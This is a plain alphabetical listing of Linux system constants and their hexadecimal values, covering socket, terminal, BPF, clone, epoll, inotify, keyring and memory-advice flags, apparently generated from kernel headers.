-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x1008
-- B110 = 0x3
-- B115200 = 0x1002
-- B1152000 = 0x1009
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100a
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100b
-- B230400 = 0x1003
-- B2400 = 0xb
-- B2500000 = 0x100c
-- B300 = 0x7
-- B3000000 = 0x100d
-- B3500000 = 0x100e
-- B38400 = 0xf
-- B4000000 = 0x100f
-- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x1005
-- B57600 = 0x1001
-- B576000 = 0x1006
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x1007
-- B9600 = 0xd
-- BLKBSZGET = 0x40041270
-- BLKBSZSET = 0x80041271
-- BLKFLSBUF = 0x20001261
-- BLKFRAGET = 0x20001265
-- BLKFRASET = 0x20001264
-- BLKGETSIZE = 0x20001260
-- BLKGETSIZE64 = 0x40041272
-- BLKPBSZGET = 0x2000127b
-- BLKRAGET = 0x20001263
-- BLKRASET = 0x20001262
-- BLKROGET = 0x2000125e
-- BLKROSET = 0x2000125d
-- BLKRRPART = 0x2000125f
-- BLKSECTGET = 0x20001267
-- BLKSECTSET = 0x20001266
-- BLKSSZGET = 0x20001268
-- BOTHER = 0x1000
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x2000
-- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0x100f
-- CBAUDEX = 0x1000
-- CFLUSH = 0xf
-- CIBAUD = 0x100f0000
-- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x200
-- CR2 = 0x400
-- CR3 = 0x600
-- CRDLY = 0x600
-- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x10
-- CS7 = 0x20
-- CS8 = 0x30
-- CSIGNAL = 0xff
-- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x200
-- ECHOE = 0x10
-- ECHOK = 0x20
-- ECHOKE = 0x800
-- ECHONL = 0x40
-- ECHOPRT = 0x400
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x80
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x8000
-- FFDLY = 0x8000
-- FLUSHO = 0x2000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0x21
-- F_GETLK64 = 0x21
-- F_GETOWN = 0x17
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0x22
-- F_SETLK64 = 0x22
-- F_SETLKW = 0x23
-- F_SETLKW64 = 0x23
-- F_SETOWN = 0x18
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x400
-- IBSHIFT = 0x10
-- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x100
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x80
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x1
-- ISTRIP = 0x20
-- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x1000
-- IXON = 0x400
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_ANON = 0x800
-- MAP_ANONYMOUS = 0x800
